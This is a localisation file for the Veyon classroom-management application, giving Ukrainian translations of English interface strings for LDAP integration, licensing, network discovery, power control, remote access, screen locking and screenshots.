FileTransferPlugin + + File transfer + Передавання файлів + + + Click this button to transfer files from your computer to all computers. + Натисніть цю кнопку, щоб передати файли з вашого комп'ютера на усі комп'ютери. + + + Select one or more files to transfer + Виберіть один або декілька файлів для передавання + + + Transfer files to remote computer + Передати файли на інший комп'ютер + + + Received file "%1". + Отримано файл «%1». + + + Could not receive file "%1" as it already exists. + Не вдалося отримати файл «%1», оскільки такий файл вже існує. + + + Could not receive file "%1" as it could not be opened for writing! + Не вдалося отримати файл «%1», оскільки не вдалося відкрити відповідний файл для запису даних! + + + + GeneralConfigurationPage + + User interface + Інтерфейс користувача + + + Language: + Мова: + + + Use system language setting + Параметри мови системи + + + Veyon + Veyon + + + Logging + Ведення журналу + + + Log file directory + Каталог файла журналу + + + ... + ... + + + Log level + Рівень журналювання + + + Nothing + Нічого не записувати + + + Only critical messages + Лише критичні повідомлення + + + Errors and critical messages + Помилки і критичні повідомлення + + + Warnings and errors + Попередження і помилки + + + Information, warnings and errors + Сповіщення, попередження і помилки + + + Debug messages and everything else + Діагностичні повідомлення та все інше + + + Limit log file size + Обмежити розмір файла журналу + + + Clear all log files + Спорожнити всі файли журналу + + + Log to standard error output + Виводити повідомлення до стандартного виводу помилок + + + Network object directory + Каталог мережевих об’єктів + + + Backend: + Модуль: + + + Update interval: + Інтервал оновлення: + + + %1 service + Служба %1 + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + Щоб вилучити файли журналів, роботу служби %1 доведеться тимчасово призупинити. Продовжити виконання цього завдання? + + + Log files cleared + Файли журналу вилучено + + + All log files were cleared successfully. + Всі файли журналу було успішно вилучено. + + + Error + Помилка + + + Could not remove all log files. + Не вдалося вилучити всі файли журналу. + + + MB + МБ + + + Rotate log files + Освіжити файли журналу + + + x + x + + + seconds + секунд + + + Write to logging system of operating system + Записувати до журналу операційної системи + + + Authentication + Розпізнавання + + + Method: + Метод: + + + Logon authentication + Розпізнавання під час входу + + + Key file authentication + Розпізнавання за файлами ключів + + + + InternetAccessControlConfigurationPage + + Internet access control + Керування доступом до інтернету + + + Backend: + Модуль: + + + General settings + Загальні параметри + + + Backend settings + Параметри модулів + + + + InternetAccessControlPlugin + + Block access to the internet + Блокувати доступу до інтернету + + + Allow access to the internet + Дозволити доступ до інтернету + + + Show help about command + Показати довідку щодо команди + + + Block internet + Блокувати інтернет + + + Click this button to block access to the internet. + Натисніть цю кнопку, щоб заблокувати доступ до інтернету. + + + Unblock internet + Розблокувати інтернет + + + Click this button to allow access to the internet. + Натисніть цю кнопку, щоб дозволити доступ до інтернету. + + + Control access to the internet + Керування доступом до інтернету + + + Commands for controlling access to the internet + Команди для керування доступом до інтернету + + + + LdapBrowseDialog + + Browse LDAP + Навігація LDAP + + + + LdapClient + + LDAP error description: %1 + Опис помилки LDAP: %1 + + + No LDAP error description available + Немає доступного опису помилки LDAP + + + + LdapConfigurationPage + + LDAP + LDAP + + + Basic settings + Основні параметри + + + General + Загальні + + + LDAP server and port + Сервер і порт LDAP + + + Bind DN + DN для прив'язки + + + Bind password + Пароль прив’язки + + + Anonymous bind + Анонімна прив’язка + + + Use bind credentials + Реєстраційні дані прив’язки + + + Test + Перевірити + + + Base DN + Кореневий DN + + + Fixed base DN + Фіксований кореневий DN + + + e.g. dc=example,dc=org + наприклад, dc=example,dc=org + + + Discover base DN by naming context + Визначити кореневий DN за контекстом назв + + + e.g. namingContexts or defaultNamingContext + наприклад, namingContexts або defaultNamingContext + + + Environment settings + Налаштування середовища + + + Object trees + Ієрархії об’єктів + + + Computer tree + Ієрархія комп’ютерів + + + e.g. OU=Groups + наприклад, OU=Groups + + + User tree + Ієрархія користувачів + + + e.g. OU=Users + наприклад, OU=Users + + + e.g. OU=Computers + наприклад, OU=Computers + + + Group tree + Ієрархія груп + + + Perform recursive search operations in object trees + Виконати рекурсивні дії з пошуку у ієрархіях об’єктів + + + Object attributes + Атрибути об’єкта + + + e.g. hwAddress + наприклад, hwAddress + + + Computer host name attribute + Атрибут назви вузла комп’ютера + + + e.g. member or memberUid + наприклад, member або memberUid + + + User login attribute + Атрибут імені користувача + + + e.g. dNSHostName + наприклад, dNSHostName + + + Computer MAC address attribute + Атрибут MAC-адреси комп’ютера + + + Group member attribute + Атрибут членства у групі + + + e.g. uid or sAMAccountName + наприклад, uid або sAMAccountName + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + Назви вузлів збережено як повні доменні назви (FQDN, наприклад myhost.example.org) + + + Advanced settings + Додаткові параметри + + + Optional object filters + Додаткові фільтри об’єктів + + + Filter for user groups + Фільтрування за групами користувачів + + + Filter for users + Фільтрування за користувачами + + + Filter for computer groups + Фільтрування за групами комп’ютерів + + + Group member identification + Ідентифікація учасників групи + + + Distinguished name (Samba/AD) + Унікальна назва (Samba/AD) + + + Configured attribute for user login or computer host name (OpenLDAP) + Налаштований атрибут для імені користувача або назви вузла комп’ютера (OpenLDAP) + + + List all groups of a user + Список усіх груп користувача + + + List all groups of a computer + Список усіх груп комп’ютера + + + Get computer object by IP address + Отримати об’єкт комп’ютера за IP-адресою + + + LDAP connection failed + Невдала спроба встановити LDAP-з’єднання + + + LDAP bind failed + Помилка прив’язування до LDAP + + + LDAP bind successful + Успішне прив’язування до LDAP + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + Виконано успішне з’єднання із сервером LDAP і прив’язування LDAP. Належним чином налаштовано основні параметри LDAP. + + + LDAP base DN test failed + Не вдалося пройти перевірку кореневого DN LDAP + + + LDAP base DN test successful + Успішна перевірка кореневого DN LDAP + + + LDAP naming context test failed + Не вдалося пройти перевірку контексту іменування LDAP + + + LDAP naming context test successful + Успішно пройдено перевірку контексту іменування LDAP + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + Успішно виконано опитування контексту іменування LDAP. Виявлено такий кореневий DN: +%1 + + + user tree + ієрархія користувачів + + + group tree + ієрархія груп + + + computer tree + ієрархія комп’ютерів + + + Enter username + Введіть ім’я користувача + + + Please enter a user login name (wildcards allowed) which to query: + Вкажіть запис користувача (можна використовувати символи-замінники), дані якого слід отримати: + + + user objects + об’єкти користувачів + + + user login attribute + атрибут імені користувача + + + Enter group name + Введіть назву групи + + + Please enter a group name whose members to query: + Будь ласка, вкажіть назву групи, учасників якої слід визначити: + + + group members + учасники групи + + + group member attribute + атрибут членства у групі + + + Group not found + Групи не знайдено + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + Не вдалося знайти групу із назвою «%1». Будь ласка, перевірте, чи правильно вказано назву групи або параметр ієрархії груп. + + + Enter computer name + Вкажіть назву комп’ютера + + + Please enter a computer host name to query: + Будь ласка, вкажіть назву вузла комп’ютера для запиту: + + + Invalid host name + Некоректна назва вузла + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + Ви налаштували програму на зберігання повних доменних назв вузлів комп’ютерів (FQDN), але вказали назву вузла без домену. + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + Ви налаштували програму на зберігання простих назв вузлів комп’ютерів, але вказали назву вузла разом із назвою домену. + + + computer objects + об’єкти комп’ютерів + + + computer host name attribute + атрибут назви вузла комп’ютера + + + Enter computer DN + Вкажіть DN комп’ютера + + + Please enter the DN of a computer whose MAC address to query: + Будь ласка, вкажіть DN комп’ютера, запит щодо MAC-адреси якого слід надіслати: + + + computer MAC addresses + MAC-адреси комп’ютерів + + + computer MAC address attribute + атрибут MAC-адреси комп’ютера + + + users + користувачі + + + user groups + групи користувачів + + + computer groups + групи комп’ютерів + + + Please enter a user login name whose group memberships to query: + Будь ласка, вкажіть назву запису користувача, для кого слід отримати дані щодо участі у групах: + + + groups of user + групи користувача + + + user login attribute or group membership attribute + атрибут імені користувача або атрибут участі у групах + + + User not found + Користувача не знайдено + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + Не вдалося знайти користувача із іменем «%1». Будь ласка, перевірте, чи правильно вказано ім’я користувача або параметр ієрархії користувачів. + + + Enter host name + Вкажіть назву вузла + + + Please enter a computer host name whose group memberships to query: + Будь ласка, вкажіть назву вузла комп’ютера, для кого слід отримати дані щодо участі у групах: + + + groups of computer + групи комп’ютера + + + computer host name attribute or group membership attribute + атрибут назви вузла комп’ютера або атрибут участі у групах + + + Computer not found + Комп’ютер не знайдено + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + Не вдалося знайти комп’ютер із назвою вузла «%1». Будь ласка, перевірте, чи правильно вказано назву вузла або параметр ієрархії комп’ютерів. + + + Enter computer IP address + Вкажіть IP-адресу комп’ютера + + + Please enter a computer IP address which to resolve to an computer object: + Будь ласка, вкажіть IP-адресу комп’ютера, за якою слід визначити об’єкт комп’ютера: + + + Host name lookup failed + Помилка пошуку вузла за назвою + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + Не вдалося виконати пошук назви вузла для IP-адреси %1. Будь ласка, перевірте, чи правильно вказано параметри вашого сервера DNS. + + + computers + комп'ютери + + + LDAP %1 test failed + Помилка тестування LDAP %1 + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + Не вдалося опитати жодний із записів у налаштованій %1. Будь ласка, перевірте, чи правильно вказано параметр %1. + +%2 + + + LDAP %1 test successful + Успішне тестування LDAP %1 + + + The %1 has been queried successfully and %2 entries were found. + Успішно опитано %1, виявлено %2 записів. + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + Не вдалося виконати опитування для жодного %1. Будь ласка, перевірте, чи правильно вказано параметр %2, або вкажіть назву наявного об’єкта. + +%3 + + + %1 %2 have been queried successfully: + +%3 + %1 %2 успішно опитано: + +%3 + + + LDAP filter test failed + Помилка тестування фільтрування LDAP + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + Не вдалося виконати опитування для жодного %1 з використанням налаштованого фільтрування. Будь ласка, перевірте, чи правильно вказано фільтр LDAP для %1. + +%2 + + + LDAP filter test successful + Успішна перевірка фільтрування LDAP + + + %1 %2 have been queried successfully using the configured filter. + %1 %2 було успішно опитано за допомогою налаштованого фільтра. + + + (only if different from group tree) + (лише якщо відмінне від ієрархії груп) + + + Computer group tree + Ієрархія груп комп’ютерів + + + computer group tree + ієрархії груп комп’ютерів + + + Filter for computers + Фільтр для комп’ютерів + + + e.g. room or computerLab + наприклад, room або computerLab + + + List all members of a computer room + Список усіх учасників комп’ютерного класу + + + List all computer rooms + Список усіх комп’ютерних класів + + + Enter computer room name + Введіть назву комп’ютерного класу + + + Please enter the name of a computer room (wildcards allowed): + Будь ласка, введіть назву комп’ютерного класу (можна використовувати символи-замінники): + + + computer rooms + комп’ютерні класи + + + computer room attribute + атрибут комп’терного класу + + + Please enter the name of a computer room whose members to query: + Будь ласка, введіть назву комп’ютерного класу, запит до учасників якого слід виконати: + + + computer room members + учасники комп’ютерного класу + + + computer group filter or computer room member aggregation + фільтр групування комп’ютерів або збирання учасників до комп’ютерного класу + + + Computer rooms + Комп’ютерні класи + + + Integration tests + Перевірки інтеграції + + + Computer room attribute + Атрибут комп’терного класу + + + Aggregate computers in a room via: + Збирати комп’ютери у клас на основі: + + + Computer groups + Групи комп'ютерів + + + Computer room attribute in computer objects + Атрибути комп'ютерного класу у об'єктах комп'ютерів + + + Test not applicable + Перевірка не є застосовною + + + Computer room name attribute + Атрибут назви комп'ютерного класу + + + e.g. name or description + наприклад назва чи опис + + + Filter for computer containers + Фільтр для контейнерів комп'ютерів + + + Computer containers or OUs + Контейнери комп'ютерів або OU + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + Будь ласка, змініть параметри комп'ютерного класу, щоб використовувати як комп'ютерні класи групи комп'ютерів або контейнери комп'ютерів. Якщо ви це зробите, запит виконуватиметься не щодо загальної назви (CN) груп комп'ютерів або контейнерів, щодо вказаного атрибута. Якщо потреби у таких налаштуваннях немає, вам не слід визначати цей атрибут. + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + Будь ласка, змініть нижче параметри комп'ютерного класу, щоб використовувати як комп'ютерні класи контейнери комп'ютерів. Якщо потреби у такому налаштуванні немає, не визначайте цей фільтр. + + + Connection security + Захист з'єднання + + + TLS certificate verification + Перевірка сертифіката TLS + + + System defaults + Типове для системи + + + Never (insecure!) + Ніколи (небезпечно!) + + + Custom CA certificate file + Нетиповий файл служби сертифікації (CA) + + + None + Немає + + + TLS + TLS + + + SSL + SSL + + + e.g. (objectClass=computer) + наприклад (objectClass=computer) + + + e.g. (objectClass=group) + наприклад (objectClass=group) + + + e.g. (objectClass=person) + наприклад (objectClass=person) + + + e.g. (objectClass=room) or (objectClass=computerLab) + наприклад (objectClass=room) або (objectClass=computerLab) + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + наприклад (objectClass=container) або (objectClass=organizationalUnit) + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + Не вдалося опитати налаштований базовий DN. Будь ласка, перевірите, чи правильно вказано параметр базового DN. + +%1 + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + Успішно опитано базовий DN LDAP. Знайдено такі записи: + +%1 + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + Не вдалося опитати базовий DN за контекстами іменування. Будь ласка, перевірите, чи правильно вказано параметр атрибута контексту іменування. + +%1 + + + Certificate files (*.pem) + файли сертифікатів (*.pem) + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + Не вдалося з'єднатися із сервером LDAP. Будь ласка, перевірте, чи правильно вказано параметри сервера. + +%1 + + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + Не вдалося прив'язатися до сервера LDAP. Будь ласка, перевірте, чи правильно вказано параметри сервера та реєстраційні дані прив'язки. + +%1 + + + Encryption protocol + Протокол шифрування + + + + LdapPlugin + + Auto-configure the base DN via naming context + Автоматичне налаштовування базового DN за контекстном назви + + + Query objects from LDAP directory + Опитати об’єкти з каталогу LDAP + + + Show help about command + Показати довідку щодо команди + + + Commands for configuring and testing LDAP/AD integration + Команди для налаштовування і тестування інтеграції із LDAP/AD + + + Provide LDAP/AD integration for Veyon + Надає можливості з інтеграції LDAP/AD до Veyon + + + LDAP (load computers and rooms from LDAP/AD) + LDAP (завантажити записи комп'ютерів і класів з LDAP/AD) + + + LDAP (load users and groups from LDAP/AD) + LDAP (завантажити записи користувачів і груп з LDAP/AD) + + + + LicensingConfigurationPage + + Licensing + Ліцензування + + + Installed licenses + Встановлені ліцензії + + + Add new network range + Додати новий діапазон мережі + + + Remove selected network range + Вилучити позначений діапазон мережі + + + ID + Ідентифікатор + + + Feature + Можливість + + + Valid until + Чинний до + + + Licensee + Ліцензіат + + + Browse license file + Переглянути файл ліцензії + + + Veyon license files (*.vlf) + файли ліцензій Veyon (*.vlf) + + + Remove license + Вилучити ліцензію + + + Do you really want to remove the selected license? + Ви справді хочете вилучити позначену ліцензію? + + + <N/A> + <н/д> + + + Invalid license file + Некоректний файл ліцензії + + + Could not open the license file for reading! + Не вдалося відкрити файл ліцензії для читання! + + + The selected license file does not contain valid data. + У позначеному файлі ліцензії не міститься коректних даних. + + + The selected license file could not be verified. + Позначений файл ліцензії не вдалося перевірити. + + + The selected license file is not valid for this installation. + Позначений файл ліцензії не є чинним для цього встановлення. + + + The selected license file is expired. + Строк дії позначеного файла ліцензії вичерпано. + + + The license is already installed. + Цю ліцензію вже встановлено. + + + + LicensingPlugin + + Show help for specific command + Показати довідку щодо певної команди + + + Show all installed licenses + Показати усі встановлені ліцензії + + + Add license file + Додати файл ліцензії + + + Remove installed license + Вилучити встановлену ліцензію + + + +USAGE + +%1 add <LICENSE FILE> + + + +КОРИСТУВАННЯ + +%1 add <LICENSE FILE> + + + + + +USAGE + +%1 remove <LICENSE ID> + + + +КОРИСТУВАННЯ + +%1 remove <LICENSE ID> + + + + + No certificate found with given ID + Не знайдено сертифіката із вказаним ідентифікатором + + + <N/A> + <н/д> + + + Licensing management + Керування ліцензіями + + + Commands for managing license keys + Команди для керування файлами ліцензій + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + Додаток, який реалізуває абстрактні функції на платформі Linux + + + + MainToolBar + + Configuration + Налаштування + + + Disable balloon tooltips + Вимкнути панелі підказок + + + Show icons only + Показати лише піктограми + + + + MainWindow + + MainWindow + Головне вікно + + + toolBar + Панель інструментів + + + General + Загальні + + + &File + &Файл + + + &Help + &Довідка + + + &Quit + Ви&йти + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + З&авантажити параметри з файла + + + Ctrl+O + Ctrl+O + + + About Qt + Про Qt + + + Authentication impossible + Розпізнавання неможливе + + + Configuration not writable + Не вдалося записати налаштування + + + Load settings from file + Завантажити параметри з файла + + + Save settings to file + Зберегти параметри до файла + + + Unsaved settings + Незбережені параметри + + + There are unsaved settings. Quit anyway? + Деякі з параметрів не збережено. Завершити роботу попри це? + + + Veyon Configurator + Засіб налаштовування Veyon + + + Service + Служба + + + Master + Основний + + + Access control + Керування доступом + + + About Veyon + Про Veyon + + + Auto + Авто + + + Computer rooms + Комп’ютерні класи + + + About + Про програму + + + %1 Configurator %2 + Засіб налаштовування %1 %2 + + + JSON files (*.json) + файли JSON (*.json) + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + Модуль керування локальними налаштуваннями повідомив, що не вдалося виконати запис до файла налаштувань! Будь ласка, запустіть Засіб налаштовування %1 із ширшими правами доступу. + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + Не знайдено файлів ключів розпізнавання або строк дії знайдених ключів вичерпано. Будь ласка, створіть нові файли ключів за допомогою засобу налаштовування %1. Крім того, ви можете налаштувати розпізнавання за іменем користувача під час входу до системи, скориставшись для цього засобом налаштовування %1. Якщо ви не створите ключів і не налаштуєте розпізнавання, ви не зможете отримувати доступ до комп’ютерів за допомогою %1. + + + Access denied + Доступ заборонено + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + Відповідно до локальних налаштувань вам заборонено доступ до комп’ютерів у мережі. Будь ласка, увійдіть до іншого облікового запису або попросіть адміністратора вашої системи змінити локальні налаштування відповідним чином. + + + Screenshots + Знімки вікон + + + Feature active + Задіяно можливість + + + The feature "%1" is still active. Please stop it before closing %2. + Задіяно можливість «%1». Будь ласка, вимкніть її, перш ніж завершувати роботу %2. + + + Reset configuration + Скинути налаштування + + + Do you really want to reset the local configuration and revert all settings to their defaults? + Ви справді хочете скинути локальні налаштування і повернути усі параметри до типових значень? + + + Search users and computers + Пошук користувачів і комп'ютерів + + + Adjust optimal size + Скоригувати оптимальний розмір + + + Align computers to grid + Вирівнювати комп'ютери за ґраткою + + + Use custom computer placement + Нетипове розташування комп'ютерів + + + %1 Configurator + Засіб налаштовування %1 + + + Insufficient privileges + Недостатні права доступу + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + Не вдалося запустити програму із правами доступу адміністратора. Будь ласка, переконайтеся, що у робочому середовищі встановлено sudo-подібну програму! Програму буде запущено із правами доступу звичайного користувача. + + + Only show powered on computers + Показувати лише увімкнені комп'ютери + + + &Save settings to file + З&берегти параметри до файла + + + &View + П&ерегляд + + + &Standard + С&тандартний + + + &Advanced + &Розширений + + + + MasterConfigurationPage + + Directories + Каталоги + + + ... + ... + + + User configuration + Налаштування користувачів + + + Feature on computer double click: + Дія у відповідь на подвійне клацання на комп’ютері: + + + Automatically switch to current room at start + Автоматично перемикатися на поточний клас після запуску + + + Features + Можливості + + + All features + Усі можливості + + + Disabled features + Вимкнені можливості + + + Perform access control at program start + Виконувати керування доступом під час запуску програми + + + Screenshots + Знімки вікон + + + <no feature> + <no feature> + + + Automatically adjust computer thumbnail size at start + Автоматично коригувати розмір мініатюри комп’ютера під час запуску + + + Basic settings + Основні параметри + + + Behaviour + Поведінка + + + Enforce selected mode for client computers + Примусовий вибраний режим для комп'ютерів-клієнтів + + + Only show current room + Показувати лише поточний клас + + + Allow adding rooms manually + Дозволити додавання класів вручну + + + Hide local computer + Приховати локальний комп'ютер + + + Hide empty rooms + Приховати порожні класи + + + Hide computer filter field + Приховати поле фільтрування комп'ютерів + + + Actions such as rebooting or powering down computers + Дії, зокрема перезавантаження та вимикання комп'ютерів + + + Show confirmation dialog for potential dangerous actions + Показувати вікно підтвердження для потенційно небезпечних дій + + + User interface + Інтерфейс користувача + + + Background color + Колір тла + + + Thumbnail update interval + Інтервал оновлення мініатюри + + + ms + мс + + + Program start + Запуск програми + + + Modes and features + Режими і можливості + + + User and computer name + Користувач і назва комп'ютера + + + Only user name + Лише ім'я користувача + + + Only computer name + Лише назва комп'ютера + + + Computer thumbnail caption + Підпис мініатюри комп'ютера + + + Computer rooms + Комп’ютерні класи + + + Automatically open computer rooms widget + Автоматично відкривати віджет комп'ютерних класів + + + Text color + Колір тексту + + + Sort order + Критерій упорядковування + + + Computer and user name + Комп'ютер та ім'я користувача + + + + MonitoringMode + + Monitoring + Спостереження + + + Builtin monitoring mode + Вбудований режим стеження + + + This is the default mode and allows you to monitor all computers in one or more rooms. + Це типовий режим. Він надає вам змогу стежити за усіма комп’ютерами у одному або декількох класах. + + + + NetworkDiscoveryConfigurationPage + + Network discovery + Виявлення мережі + + + Mode + Режим + + + Scan network ranges + Сканувати діапазони мережі + + + e.g. 192.168.1.0/24 + Приклад: 192.168.1.0/24 + + + Scan all subnets of computer + Сканувати усі підмережі комп'ютера + + + Scan custom subnet + Сканувати нетипову підмережу + + + Scan sessions on local computer + Сканувати сеанси на локальному комп'ютері + + + Test + Перевірити + + + Network ranges + Діапазони мережі + + + Add new group + Додати нову групу + + + Remove selected group + Вилучити позначену групу + + + Groups + Групи + + + First address + Перша адреса + + + Last address + Остання адреса + + + Add new network range + Додати новий діапазон мережі + + + Remove selected network range + Вилучити позначений діапазон мережі + + + Parallel scans + Паралельне сканування + + + Scan timeout + Час очікування на сканування + + + ms + мс + + + Session scan limit + Обмеження сканування сеансів + + + New group + Нова група + + + Options + Параметри + + + Reverse lookup discovered IP addresses to host names + Зворотним пошуком визначено IP-адреси для назв вузлів + + + + NetworkDiscoveryDirectory + + Scanning... + Сканування… + + + Discovered computers + Виявлені комп'ютери + + + + NetworkDiscoveryPlugin + + Show help for specific command + Показати довідку щодо певної команди + + + Scan a subnet + Сканувати підмережу + + + +USAGE + +%1 scan [<SUBNET>] + + + +КОРИСТУВАННЯ + +%1 scan [<SUBNET>] + + + + + Network object directory which automatically discovers computers in the network + Каталог об'єктів мережі, який автоматично виявляє комп'ютери у мережі + + + Network discovery (scan network for Veyon clients) + Виявлення мережі (пошук у мережі клієнтів Veyon) + + + Commands for managing the network discovery directory + Команди для керування каталогом виявлення мережі + + + + NetworkObjectTreeModel + + Room/Computer + Клас/Комп’ютер + + + + PasswordDialog + + Username + Ім’я користувача + + + Password + Пароль + + + Veyon Logon + Вхід до Veyon + + + Authentication error + Помилка розпізнавання + + + Logon failed with given username and password. Please try again! + Не вдалося увійти на основі вказаних імені користувача і пароля. Будь ласка, повторіть спробу! + + + Please enter your username and password in order to access computers. + Будь ласка, вкажіть ваше ім’я користувача та пароль, щоб отримати доступ до комп’ютерів. + + + + PowerControlFeaturePlugin + + Power on + Увімкнути + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + Натисніть цю кнопку, щоб увімкнути усі комп’ютери. Якщо ви нею скористаєтеся, вам не доведеться вмикати кожен комп’ютер вручну. + + + Reboot + Перезавантажити + + + Click this button to reboot all computers. + Натисніть цю кнопку, щоб перезавантажити усі комп’ютери. + + + Power down + Вимкнути + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + Натисніть цю кнопку, щоб вимкнути усі комп’ютери. Якщо ви нею скористаєтеся, вам не доведеться вимикати кожен комп’ютер вручну. + + + Power on/down or reboot a computer + Увімкнути/Вимкнути або перезавантажити комп’ютер + + + Confirm reboot + Підтвердження перезавантаження + + + Confirm power down + Підтвердження вимикання + + + Do you really want to reboot the selected computers? + Ви справді хочете перезавантажити позначені комп'ютери? + + + Do you really want to power down the selected computer? + Ви справді хочете вимкнути позначений комп'ютер? + + + Power on a computer via Wake-on-LAN (WOL) + Увімкнути комп'ютер за допомогою Wake-on-LAN (WOL) + + + MAC ADDRESS + MAC-АДРЕСА + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + Ця команда транслює пакет Wake-on-LAN (WOL) до мережі з метою вмикання живлення на комп'ютері із вказаною MAC-адресою. + + + Please specify the command to display help for! + Будь ласка, вкажіть команду, для якої слід показати довідку! + + + Invalid MAC address specified! + Вказано некоректну MAC-адресу! + + + Commands for controlling power status of computers + Команди для керування станом живлення комп'ютерів + + + + RemoteAccessFeaturePlugin + + Remote view + Віддалений перегляд + + + Open a remote view for a computer without interaction. + Відкрити панель віддаленого перегляду комп’ютера без втручання. + + + Remote control + Віддалене керування + + + Open a remote control window for a computer. + Відкрити вікно віддаленого керування комп’ютером. + + + Remote access + Віддалений доступ + + + Remote view or control a computer + Віддалений перегляд або керування комп’ютером + + + Please enter the hostname or IP address of the computer to access: + Будь ласка, вкажіть назву вузла або IP-адресу комп’ютера, доступ до якого слід отримати: + + + Show help about command + Показати довідку щодо команди + + + + RemoteAccessWidget + + %1 - %2 Remote Access + %1 — %2, віддалений доступ + + + + RemoteAccessWidgetToolBar + + View only + Лише перегляд + + + Remote control + Віддалене керування + + + Send shortcut + Надіслати скорочення + + + Fullscreen + На весь екран + + + Window + У вікні + + + Quit + Вийти + + + Ctrl+Alt+Del + Ctrl+Alt+Del + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + Win + + + Menu + Menu + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + З’єднання з %1 + + + Connected. + З’єднано. + + + Screenshot + Знімок вікна + + + + RoomSelectionDialog + + Room selection + Вибір класу + + + enter search filter... + введіть фільтр пошуку… + + + + Routing + + Control internet access by modifying routing table + Керування доступом до інтернету шляхом внесення змін до таблиці маршрутизації + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + Вилучити типові маршрути для блокування доступу до інтернету + + + Add custom route to block internet + Додати нетиповий маршрут для блокування інтернету + + + Destination + Призначення + + + Gateway + Шлюз + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + Будь ласка, вкажіть програми або команди, які слід виконати на позначених комп’ютерах. Ви можете вказати декілька програм або команд, записавши їх в окремих рядках. + + + Run programs + Виконати програми + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + наприклад, «C:\Program Files\VideoLAN\VLC\vlc.exe» + + + + ScreenLockFeaturePlugin + + Lock + Заблокувати + + + Unlock + Розблокувати + + + Lock screen and input devices of a computer + Заблокувати екран і пристрої введення на комп’ютері + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + Щоб заволодіти увагою учнів, ви можете заблокувати їхні комп’ютери за допомогою цієї кнопки. У цьому режимі всі пристрої введення даних буде заблоковано, а екрани стануть чорними. + + + + Screenshot + + unknown + невідомий + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + Не вдалося зробити знімок вікна, оскільки теки %1 не існує або її неможливо створити. + + + Screenshot + Знімок вікна + + + + ScreenshotFeaturePlugin + + Screenshot + Знімок вікна + + + Use this function to take a screenshot of selected computers. + Скористайтеся цією можливістю для створення знімків екранів позначених комп’ютерів. + + + Screenshots taken + Створені знімки + + + Screenshot of %1 computer have been taken successfully. + Знімок екрана комп’ютера %1 успішно створено. + + + Take screenshots of computers and save them locally. + Створення знімків екранів комп’ютерів і їхнє локальне зберігання. + + + + ScreenshotManagementView + + User: + Користувач: + + + Date: + Дата: + + + Time: + Час: + + + Show + Показати + + + Delete + Вилучити + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + Тут наведено список усіх зроблених вами знімків вікон. Ви моете створювати знімки вікон, вибираючи пункт «Знімок вікна» у меню запису комп’ютера. Керувати знімками вікон можна за допомогою розташованих нижче кнопок. + + + Computer: + Комп’ютер: + + + + ServiceConfigurationPage + + General + Загальні + + + Autostart + Автозапуск + + + Hide tray icon + Сховати піктограму у лотку + + + Start service + Запустити службу + + + Stopped + Зупинено + + + Stop service + Зупинити службу + + + State: + Стан: + + + Enable SAS generation by software (Ctrl+Alt+Del) + Увімкнути програмне створення SAS (Ctrl+Alt+Del) + + + Network + Мережа + + + Demo server port + Порт демосервера + + + Enable firewall exception + Увімкнути виключення брандмауера + + + Allow connections from localhost only + Дозволити з’єднання лише з локального вузла + + + Internal VNC server port + Порт внутрішнього сервера VNC + + + VNC server + Сервер VNC + + + Plugin: + Додаток: + + + Restart %1 Service + Перезапустити службу %1 + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + Всі параметри було збережено. З метою набуття чинності нових параметрів слід перезапустити службу %1. Перезапусти службу зараз? + + + Running + Запущено + + + Feature manager port + Порт керування можливостями + + + Primary service port + Порт основної служби + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + Позначення цього пункту призведе до того, що служба запускатиме процес сервера для кожного інтерактивного сеансу на комп'ютері. +Типово, таке налаштування потрібне для реалізації підтримки термінальних серверів. + + + Multi session support (experimental) + Підтримка багатосеансовості (експериментальна) + + + Show notification on remote connection + Показувати сповіщення щодо віддаленого з'єднання + + + Show notification on failed authentication 